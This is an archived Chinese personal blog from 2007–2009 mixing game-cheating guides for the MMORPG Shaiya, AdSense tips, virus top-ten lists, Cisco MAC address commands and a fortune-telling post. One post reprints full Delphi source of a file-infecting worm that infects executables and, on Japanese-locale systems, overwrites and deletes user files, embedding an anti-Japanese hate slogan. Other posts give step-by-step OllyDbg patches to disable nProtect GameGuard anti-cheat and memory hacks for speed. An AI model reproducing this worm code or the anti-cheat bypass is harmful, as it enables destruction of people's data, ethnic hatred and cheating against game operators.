IT博客-YIYE的BLOG

自己做的神泣私服外挂。给群里朋友们用的.呵呵 ~

yiye — Wed, 27 May 2009 09:22:00 GMT

过段时间再放出来吧~呵呵 . 做的很垃圾。
韩服龙会一起在私服奋斗过的见证!

yiye 2009-05-27 17:22 发表评论

神泣修改第三弹 OD脱NP（会掉线版本)--自己做挂挂(3)

yiye — Wed, 04 Mar 2009 16:24:00 GMT

1.准备工具UE ,peid,OD,stripper_v207ht(百度搜索这几个名字都能找到)
2.首先用peid 查查game.exe加的什么壳.我这的是:ASProtect 1.23 RC4 - 1.3.08.24 -> Alexey Solodovnikov
不知道韩服和国服是否一样.
3.当然是脱壳了,用stripper_v207 脱掉game.exe的壳.有汉化版本的看看就会.
4.下面进正题。

脱壳后的用OD载入 game.exe大小应该是(3M左右,也许GF的和韩服大小不一样吧。)
载入后会看到全屏幕都是汇编代码啊。。。。。在中间大的方框点击右键->搜索->所有文本参考字串
然后会出现一个新窗口。里面全是一些字符串。这就对了。
1>在这个字符串窗口里咱们搜索->start game,找到后双击,会跳到汇编代码段。最后一栏写着 ASCII "start game" ,向下看能看到test eax,eax 在下面就是je ，把je改成jmp. 这一部的修改时跳过每次运行神泣的时候都要先出现更新的窗口才启动game.exe ，现在不用了。

2>再重复上面的方法到字符串窗口搜索->nProtect GameGuard (注意这个字符串有两个搜索两次选第二个，大家对这个字符串很敏感吧，好戏在后面)
一样找到后双击，跳到汇编代码段,紧挨着他的下面有个jnz跳转,jnz改jmp.

3>这次不要去字符串窗口了。直接在汇编窗口按CRTL+F 搜索:CMP EAX,0B7 ,在他的下面会看到一个jnz照旧改成jmp.

4>继续转到字符串窗口搜索->enc: %s 双击到汇编段,在他的下方会看到竖着的:
push 0
push 0
push 0
push 1
push 0
push 0
这么一段修改push 1 到 push 0.看清楚别改错了.

5>在汇编代码段搜索 MOV EAX,262 ,会找到唯一值,将MOV EAX,262 修改为MOV EAX,755.修改完成后直接点右键分析-分析代码,然后在搜索一次 MOV EAX,755,好的，现在找到他下面第一个retn,点右键跳转-》跳转到上一个函数,慢慢找知道看到右边注释里出现:红色的
GetCurrentProcessID
空行
GetCurrentThreadId
在它的上面能看到：
test al,al
jnz 0056138C
这个还用我说嘛？jnz->jmp大法 !!!!这个是NP的启动线程。一定要找对了。否则无效。我曾经找这个找了3个多小时.

6>如果上面都做完了那么可以收工了。HF的话还记得我们每次都要运行app才能启动游戏吗？那个可恶的 korea version !! 我们就跳过它，不让它出来这样就免APP了。方法很简单字符串搜索->korea version
双击代码修改jnz .

7>下面说保存
所有修改完毕后在汇编代码段点右键->复制到可执行程序->所有修改->全部复制会出来一个新窗口在新窗口内继续右键->保存文件->选择保存的地方 over

..............................

好了这个完美脱NP的教程完成了。把保存的 game.exe放回神泣目录，然后运行你会发现直接跳过更新和NP了。但是进入游戏玩过一段时间后会掉线。这是NP和服务器之间有验证。服务器随即给客户端的NP发送问题，可是你的NP已经跳过去了根本没启动。所以服务器就给你踢掉了。
再深点的东西我也不会了。就到这吧，怎么模拟NP回答什么的，这个我是做不到。希望有高人出手。。。

yiye 2009-03-05 00:24 发表评论

神泣攻击移动加速及负面状态无效.--自己做挂挂(2)

yiye — Wed, 04 Mar 2009 10:01:00 GMT

用到的工具CE--》ME（这不写详细了。慢慢找吧),

用过FPE的应该都知道怎么查找值吧。

用ME也一样。神泣里有2种武器，他们的攻击速度是不一样的，所以我们可以先把武器拿下来，这样人物的攻击速度就是普通，那么普通的标识代码就是:512 (这个不要问我怎么知道的呵呵 ),SO 我们搜索 512 一般会出来N多值，然后拿上武器，在搜索518 ，是不是唯一值了呢，如果不是我们取第一个，

好了。然后可以上百度看看怎么找基址(不找基址下次还要重新搜索，麻烦，可以参考武林找基址，百度搜索
吧),（相信聪明的你应该学会了吧。)好了找到值了。我们修改下白人可以直接锁定为1033,但是黑人必须要加3362也就是 33621033 ,否则会红名。切换回游戏。就可以看到加速效果了。把这个值锁定，不要让他变化。这样就是负面状态无效了。比如中了减移动速度的。我曾经观察过系统会把数值降低到5，如果我们锁定了就不会降啦。也许很多细节都没说吧，大家慢慢想。CE是很好玩的.发现思维总比一个人固化了好。多想想。

另:

多关注关注国外的修改方法。比如CE的官方网站就有CE修改神泣的专门论坛。他们的修改已经很BT了。不是国外没有外挂。而且他们的外挂水平很高，比如无限暴击。

512 普通攻击

518 快

刺客加速 999

物理攻击最快移动速度非常快 1001

最高值 1033 无法攻击。

大看着改吧。

HF基址就不提供了。反正在HF玩的基本都有了.

yiye 2009-03-04 18:01 发表评论

神泣修改攻击距离

yiye — Tue, 06 Jan 2009 10:41:00 GMT

在17173上发了被封贴。没办法。还是用自己的博客舒服啊。

神泣资源解包工具下载地址:gq3171.ys168.com
UE 自己百度搜索吧

神泣解包程序不要教怎么用了吧。慢慢研究。

简单说说怎么修改

用资源解包分离出SKILL.SDATA
然后 UE打开

结合 Ctrl+f 输入：你要改的魔法名字

然后点上下面的 ASCII 然后搜索。找到后会看到代码块

比如报复默认攻击距离是 24M 转换到十六进制是 18

在报复下面的字段里找18这个关键字。仔细看。!!

找到后改成你想要的距离（战士法师牧师建议35M 。弓箭手 75M)

对了我们所说的范围是十进制的。用windows计算器转换成16进制。然后填到18这个位置上。

后面就是保存。

覆盖回原文件就OK。

yiye 2009-01-06 18:41 发表评论

巧用博客挂Google Adsense广告赚美元

yiye — Tue, 22 May 2007 09:17:00 GMT

许多个人网站站长申请了google adsense广告，在自己的网站挂上广告，让流量变成美元。现在又流行开博客，据说国内博客数量已有数百万个。许多博客的访问量也是惊人的，例如老徐的博客总流量已经超过千万。那么，能不能让博客也帮我们赚钱呢？

经过摸索，我发现小法宝博客也可以挂google adsense广告，哈哈，爽吧，可以靠博客赚美元了！

首页左侧，以及每个文章页面的底部等，都可以放置google adsense广告。你也想利用博客来赚广告费吗？跟我一起来吧！

首先介绍一下，在博客挂google adsense广告需要具备的条件： 1.你需要有一个博客（废话）。 2.你需要已经申请google adsense，并获批准。如果你还没有申请，请到点击本站首页的“通过Google Adsense使您的网站产生收益”图标去申请。 3.将代码和你的大作一起上传到你的博客并大力推广，使尽可能多的网友浏览你的博客。

接下来介绍具体的实现步骤：第一步：登陆google adsense后台，生成广告代码。小法宝博客首页左侧的广告，最合适的广告形式是“摩天大楼”（160*600）。复制代码到记事本，保存为.htm文件，文件名任取，例如google.htm。然后把这个文件上传到你的网站空间里，你要弄清楚这个文件的实际URL地址，下一步的代码中将通过这个URL地址来调用google adsense广告代码。第二步：登陆博客控制面板，在左侧菜单中点击“首页内容维护”，进入“自定义空白面板”，点击“新增”，为面板取一个标题，例如“google广告”，注意要勾选“显示源代码”，然后在内容框中输入代码：frameBorder=0 width=160 scrolling=no height=600>
，之后点“保存”。第三步：在控制面板左侧菜单中点击“定制我的首页”，在随后的弹出页中点击“添加模块”，勾选上一步新增的“google广告”面板，单击“选取”）。这时，已经看到google adsense广告的初貌了，不过，它是出现在左侧最下方的，你可把它移动到“活动地带”的下方。最后点“保存设置”，快到首页去看看，google adsense广告已经显示在首页了。

文章页面也可添加google adsense广告。只要在google adsense后台生成一个468*60或其它形式的广告代码，然后将代码文件上传到你自己的网站空间，最后在每个文章源代码的合适合位置加入以下代码即可：。

注意：1.只有使用Word编辑器的才能显示源代码，因此，使用UBB编辑器环境下发表的文章中无法添加google adsense广告。 2.根据google adsense许可政策，无论首页还是次页，每个页面最多只能加入3个广告位，因此，请不要将广告加在文章顶部，否则你的博客首页中，每篇文章顶部的广告都会显示。

yiye 2007-05-22 17:17 发表评论

PC历史上10大最具破坏力病毒排行出炉

yiye — Mon, 21 May 2007 15:37:00 GMT

中国IT产业社区网站Techweb根据多方面评估，评出了20年来破坏力最大的10种计算机病毒：

1. CIH（1998年）感染Win95/98中的可行性文件，这种病毒在Windows环境下传播，其实时性和隐蔽性都特别强，变种可以重写BIOS.大约在世界范围内造成了两千万到八千万美元的损失。

2.梅利莎（Melissa，1999年）Melissa病毒是一种迅速传播的宏病毒，它作为电子邮件的附件进行传播，尽管Melissa病毒不会毁坏文件或其它资源，但是它可能会使企业或其它邮件服务端程序停止运行，因为它发出大量的邮件形成了极大的电子邮件信息流。1999年3月26日爆发，感染了15%-20%的商业电脑，带来了三千万到六千万美元的损失。

3.爱虫（I love you，2000年）和Melissa一样通过电子邮件传播，而其破坏性要比Melissa强的多，可以删除本地部分图片和文本，大约造成了一千万到一千五百万美元的损失。

4.红色代码（Code Red，2001年）Code Red是一种蠕虫病毒，本质上是利用了缓存区溢出攻击方式，使用服务器的端口80进行传播，而这个端口正是Web服务器与浏览器进行信息交流的渠道。与其它病毒不同的是，Code Red并不将病毒信息写入被攻击服务器的硬盘，它只是驻留在被攻击服务器的内存中。大约在世界范围内造成了二百八十万美元的损失。

5. SQL Slammer（2003年）Slammer是一款DDOS恶意程序，透过一种全新的传染途径，采取分布式阻断服务攻击感染服务器，它利用SQL Server弱点采取阻断服务攻击1434端口并在内存中感染SQL Server，通过被感染的SQL Server再大量的散播阻断服务攻击与感染，造成SQL Server无法正常作业或宕机，使内部网络拥塞。和Code Red一样，它只是驻留在被攻击服务器的内存中。大约在世界范围内造成了五十万台服务器当机，让韩国整个网络瘫痪了12个小时。

6.冲击波（Blaster，2003年）冲击波病毒是利用微软公司在当年7月21日公布的RPC漏洞进行传播的，只要是计算机上有RPC服务并且没有打安全补丁的计算机都存在有RPC漏洞，该病毒感染系统后，会使计算机产生下列现象：系统资源被大量占用，有时会弹出RPC服务终止的对话框，并且系统反复重启，不能收发邮件、不能正常复制文件、无法正常浏览网页，复制粘贴等操作受到严重影响，DNS和IIS服务遭到非法拒绝等。这个病毒该是近期国内比较熟悉一个大范围影响的病毒了。大约造成了二百万到一千万美元的损失，而事实上受影响的电脑则是成千上万，不计其数。

7.大无极。F（Sobig.F，2003年）这是Sobig蠕虫的第5个变种，具有非常强的感染能力，因此将会发生庞大的电子邮件传输，使全球各地的电子邮件服务器当机，由于其特性，还将会极其危险的泄漏本地数据。大约造成了五百万到一千万美元的损失，有超过一百万台电脑受感染。

8.贝革热（Bagle，2004年）Bagle也被称为Beagle，是一种透过电子邮件散布的蠕虫病毒，它通过远程访问网站利用电子邮件系统进行散布，并在Windows系统建立backdoor，至今为止，这个蠕虫可能是程度最严重，传播范围最广泛的蠕虫病毒，其影响仍然处于上升趋势。目前已经造成了上千万美元的损失，而且仍然在继续。

9. MyDoom（2004年）该病毒采用的是病毒和垃圾邮件相结合的战术，可以迅速在企业电子邮件系统中传播开来，导致邮件数量暴增，从而阻塞网络。不管是病毒还是垃圾邮件，无论哪一样在去年都给用户造成了足够多的烦恼，而如今这两者的结合更是来势凶猛，再加上大多数用户对此并不知情，使得这种病毒的传播速度突破了原来的各种病毒的传播速度。根据MessageLabs调查公司的数据显示，在MyDoom病毒发作的高峰时刻，每10封邮件中就有一封被此种病毒感染，而对于前一年肆虐的Sobig病毒，每17封邮件中才会有一封邮件被感染。在其爆发最严重的时候，让全球的网络速度大幅度价低。

10.震荡波（Sasser，2004年）震荡波病毒会在网络上自动搜索系统有漏洞的电脑，并直接引导这些电脑下载病毒文件并执行，因此整个传播和发作过程不需要人为干预。只要这些用户的电脑没有安装补丁程序并接入互联网，就有可能被感染。这样子的发作特点很像当年的冲击波，会让系统文件崩溃，造成电脑反复重启。目前已经造成了上千万美元的损失。

yiye 2007-05-21 23:37 发表评论

全球九大病毒寄居地

yiye — Mon, 21 May 2007 14:52:00 GMT

据英国著名安全软件厂商sophos日前公布的调查报告显示，今年第一季度，中国和美国依然托管着全球大部分恶意网站。而中国托管的恶意网站上的病毒数量占到了全球的41.1%，高居榜首。

今年第一季度，sophos每天平均发现5000个新感染页面。其中，大部分含有病毒的网站均由中国和美国托管。今年3月份，中国的托管比例为35.6%，美国为32.3%。但整个第一季度，中国的托管比例上升到41.1%，而美国为29.2%。以下为今年第一季度恶意网站九大托管国家：

1. 中国（41.1%）

2. 美国（29.2%）

3. 俄罗斯（4.6%）

4. 德国（4.6%）

5. 乌克兰（3.9%）

6. 英国（3.0%）

7. 法国（2.2%）

8. 荷兰（1.9%）

9. 韩国（1.3%）

yiye 2007-05-21 22:52 发表评论

熊猫烧香核心代码

yiye — Mon, 21 May 2007 14:51:00 GMT

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;             //病毒体的大小
iconoffset = $12eb8;           //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
headersize = 38912;             //upx压缩过病毒体的大小
iconoffset = $92bc;             //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize   = $2e8;             //pe文件主图标的大小--744字节
icontail   = iconoffset + iconsize; //pe文件主图标的尾部
id       = $44444444;         //感染标记

//垃圾码，以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
        'if a country need to be destroyed, it must be japan! ' +
        '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si:     startupinfo;
pi:     process_information;
isjap:   boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
  exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
  result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
  sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
  try
    dstream := tfilestream.create(filename, fmcreate);
    try
    sstream.seek(headersize, 0); //跳过头部的病毒部分
    dstream.copyfrom(sstream, sstream.size - headersize);
    finally
    dstream.free;
    end;
  finally
    sstream.free;
  end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用，退出
  if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
    exit;
  infected := false;
  ispe   := false;
  srcstream := tfilestream.create(filename, fmopenread);
  try
    for i := 0 to $108 do //检查pe文件头
    begin
    srcstream.seek(i, sofrombeginning);
    srcstream.read(buf, 2);
    if (buf[0] = #80) and (buf[1] = #69) then //pe标记
    begin
      ispe := true; //是pe文件
      break;
    end;
    end;
    srcstream.seek(-4, sofromend); //检查感染标记
    srcstream.read(iid, 4);
    if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
    infected := true;
  finally
    srcstream.free;
  end;
  if infected or (not ispe) then //如果感染过了或不是pe文件则退出
    exit;
  icostream := tmemorystream.create;
  dststream := tmemorystream.create;
  try
    aicon := ticon.create;
    try
    //得到被感染文件的主图标(744字节)，存入流
    aicon.releasehandle;
    aicon.handle := extracticon(hinstance, pchar(filename), 0);
    aicon.savetostream(icostream);
    finally
    aicon.free;
    end;
    srcstream := tfilestream.create(filename, fmopenread);
    //头文件
    hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    try
    //写入病毒体主图标之前的数据
    copystream(hdrstream, 0, dststream, 0, iconoffset);
    //写入目前程序的主图标
    copystream(icostream, 22, dststream, iconoffset, iconsize);
    //写入病毒体主图标到病毒体尾部之间的数据
    copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
    //写入宿主程序
    copystream(srcstream, 0, dststream, headersize, srcstream.size);
    //写入已感染的标记
    dststream.seek(0, 2);
    iid := $44444444;
    dststream.write(iid, 4);
    finally
    hdrstream.free;
    end;
  finally
    srcstream.free;
    icostream.free;
    dststream.savetofile(filename); //替换宿主文件
    dststream.free;
  end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
  setfileattributes(pchar(filename), 0); //去掉只读属性
  filehandle := fileopen(filename, fmopenwrite); //打开文件
  try
    size := getfilesize(filehandle, nil); //文件大小
    i := 0;
    randomize;
    max := random(15); //写入垃圾码的随机次数
    if max < 5 then
    max := 5;
    mass := size div max; //每个间隔块的大小
    len := length(catchword);
    while i < max do
    begin
    fileseek(filehandle, i * mass, 0); //定位
    //写入垃圾码，将文件彻底破坏掉
    filewrite(filehandle, catchword, len);
    inc(i);
    end;
  finally
    fileclose(filehandle); //关闭文件
  end;
  deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
  d := chr(i + 65);
  str := d + ':\';
  disktype := getdrivetype(pchar(str));
  //得到本地磁盘和网络盘
  if (disktype = drive_fixed) or (disktype = drive_remote) then
    result := result + d;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
  if (searchrec.attr <> 16) and (searchrec.name <> '.') and
    (searchrec.name <> '..') then
    result := 0 //不是目录
  else if (searchrec.attr = 16) and (searchrec.name <> '.') and
    (searchrec.name <> '..') then
    result := 1 //不是根目录
  else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
  repeat
    peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑
    if isvaliddir(searchrec) = 0 then
    begin
    fn := path + searchrec.name;
    ext := uppercase(extractfileext(fn));
    if (ext = '.exe') or (ext = '.scr') then
    begin
      infectonefile(fn); //感染可执行文件
    end
    else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
    begin
      //感染html和asp文件，将base64编码后的病毒写入
      //感染浏览此网页的所有用户
      //哪位大兄弟愿意完成之？
    end
    else if ext = '.wab' then //outlook地址簿文件
    begin
      //获取outlook邮件地址
    end
    else if ext = '.adc' then //foxmail地址自动完成文件
    begin
      //获取foxmail邮件地址
    end
    else if ext = 'ind' then //foxmail地址簿文件
    begin
      //获取foxmail邮件地址
    end
    else
    begin
      if isjap then //是倭文操作系统
      begin
        if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
        (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
        (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
        (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
        (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
        (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
          smashfile(fn); //摧毁文件
      end;
    end;
    end;
    //感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑
    sleep(200);
  until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
  repeat
    if isvaliddir(searchrec) = 1 then
    subdir.add(searchrec.name);
  until (findnext(searchrec) <> 0);
  end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
  loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
  isjap := true; //去死吧！
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
  for i := len downto 1 do //遍历每个磁盘驱动器
    loopfiles(driverlist + ':\', '*.*'); //感染之
  sendmail; //发带毒邮件
  sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
  registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
  //远程线程映射到explorer进程
  //哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
  infectfiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
  tmpfile := paramstr(0); //创建临时文件
  delete(tmpfile, length(tmpfile) - 4, 4);
  tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格
  extractfile(tmpfile); //分离之
  fillstartupinfo(si, sw_showdefault);
  createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
    0, nil, '.', si, pi); //创建新进程运行之
  infectfiles; //感染和发邮件
end;
end.

yiye 2007-05-21 22:51 发表评论

以太网MAC地址的获取更改应用

yiye — Mon, 21 May 2007 14:50:00 GMT

以太网mac地址唯一地标识了世界上的每个以太网设备。每一个生产网络设备的厂商都要将mac地址预先写进其设备中（如：以太网网卡，路由器，交换机等）。各种媒体已有很多文章介绍获得mac地址的方法。今天我们主要讨论怎样在cisco的ios获得、改变mac地址，并使用mac地址进行网络通信过滤。

获得mac地址

在交换机的命令输入窗口，输入“show mac-address-table”可以获得mac地址表，例如：

switch# show mac-address-table
            mac address table
            -------------------------------------------
            vlan    mac address       type        ports
            ----    -----------       --------    -----
            all    0014.1c40.b080    static      cpu
            all    0100.0ccc.cccc    static      cpu
            all    0100.0ccc.cccd    static      cpu
            all    0100.0cdd.dddd    static      cpu
            1    000f.1fd3.d85a    dynamic     fa0/14

在思科路由器上，可以使用“show interfaces”来查看mac地址。例如：

routerb# show interfaces
            ethernet0/0 is up, line protocol is up
            hardware is amdp2, address is 0003.e39b.9220 (bia 0003.e39b.9220)
            internet address is 1.1.1.1/8

在第二行，可以看到：“bia 0003.e39b.9220”，bia即“烧录地址”（burned in address），mac地址即0003.e39b.9220。

改变mac地址

改变mac地址实质上其否定含义就是mac欺骗。特别是对于无线网络的攻击，改变mac地址是常用的方法。改变mac地址也可以用于合法的用途，如测试mac过滤。

要改变设备在路由器上的mac地址，需在interface configuration mode（界面配置模式）下，使用“mac –地址”命令。例如：

routerb# conf t
            enter configuration commands, one per line.  end with cntl/z.
            routerb(config)# int e0/0
            routerb(config-if)# mac-address 0000.0000.0001
            routerb(config-if)#^z
            routerb#
            routerb# show int e0/0
            ethernet0/0 is up, line protocol is up
            hardware is amdp2, address is 0000.0000.0001 (bia 0003.e39b.9220)
            internet address is 1.1.1.1/8

在改变mac地址以后，可以使用show interface命令来查看新的地址。

基于mac地址的通信过滤

通过协议分析仪，可以发现一些网络中某些设备非正常的数据通信。例如，某设备通过多个ip地址发送数据包。

这种情况，可以使用show mac-address-table命令来查看它所使用的交换机端口，并可以关闭此端口。但是，如果此端口连接的是一个集线器，而集线器又连接了许多其它设备那该怎么办呢？

有一个方法便是使用mac地址过滤来对路由器或交换机的数据通信进行过滤。下面是一个例子：

cat3750switch(config)# mac access-list ext filtermac
            cat3750switch(config-ext-macl)# deny host 0000.0000.0001 any
            cat3750switch(config-ext-macl)# permit any any
            cat3750switch(config-ext-macl)# exit
            cat3750switch(config)# int g1/0/40
            cat3750switch(config-if)# mac access-group filtermac in

此命令在cisco catalyst 3750 gigabit ethernet switch交换机上完成。我们创建了一个名为“filtermac”的acl（访问控制表）。这个acl拒绝了与源地址为0000.0000.0001（十六进制非二进制）的所有数据通信，但是却允许其它地址的数据通信。将这个acl运用到界面1/0/40，这就防止了拥有这个mac地址的设备与本端口的数据通信，而不管它的ip地址是什么。

但是，不管怎么说，mac地址过滤并非安全措施，因为他人可以轻易地改变mac地址。

yiye 2007-05-21 22:50 发表评论

左吉右凶？眼皮跳大占卜

yiye — Sun, 20 May 2007 13:28:00 GMT

子时：23点——01点前

　　左眼：意外之喜降临，会有不错好运，你的心脏要强一点，别兴奋过了头。
　　右眼：有人请你吃饭，可

以省下一笔钱，但是这个人的目的不明，你要多多斟酌。

      丑时：01点——03点前

     左眼：家中最近很麻烦，大小事困扰着，不知该怎么办，短期内一筹莫展。
     右眼：有人思念你，有可能是家中长辈，相互牵挂太久了，有空打电话关心一下吧。

     寅时：03点——05点前

     左眼：会有朋友自远方而来，狠狠吃你一顿！如果你并非别有所图或手边闲钱多，接到朋友电话一定要装忙。
     右眼：家人有机会得到意外之财，例如忽然中了奖，也有可能丢掉的钱又找回来了。

     卯时：05点——07点前

     左眼：贵人贵客报到，让你生命重现曙光，多留意忽然出现在你身边；很久不见的朋友。
     右眼：平安顺利，不必太过担心可能发生危险的状况，吉人自有天相，安心睡觉吧。

     辰时：07点——09点前

     左眼：人际关系会变好，许久不见的朋友再次相逢，可能捎来不错的喜讯。
     右眼：钱财就这样不知不觉地流失掉，花了许多冤枉钱。

     巳时：09点——11点前

     左眼：会有好处可以捞，目前的你颇有利用价值，别人都会让你三分。
     右眼：开车小心，提醒家人多注意平安，危险出现在四周。

     午时：11点——13点前

     左眼：长期耕耘总算有了结果，你可以松一口气，准备享受成果吧。
     右眼：意料之外的事情发生，还好机率不高，继续保持警戒才好。

     未时：13点——15点前

     左眼：你可能在打赌或玩麻将时输了不少钱，别输光了才来后悔。
     右眼：有好事发生，但属于微不足道，你也不会很高兴的那种小事。

     申时：15点——17点前

     左眼：忽然想起什么事情吗？快点去做，当下想到的，最容易成功了。
     右眼：异性缘佳，你的贵人就是异性，他们对你，比同性宽容多了。

     酉时：17点——19点前

     左眼：为人辛苦为人忙，好在有收获，帮别人也是在帮自己。
     右眼：刚认识的朋友就可以熟得不得了，和他们多混熟点会很不错。

     戌时：19点——21点前

     左眼：有人指派工作给你，不要想太多，快点答应，其他的问题会自然会迎刃而解喔！
     右眼：得意忘形了吗？小心小人随时准备落井下石，你别太嚣张。

     亥时：21点——23点前

     左眼：享受合家团圆、多方肯定，再加把劲，你会做得更漂亮。
     右眼：提防官司纠纷，你要不口舌冒犯人，要不就是弄坏东西！

yiye 2007-05-20 21:28 发表评论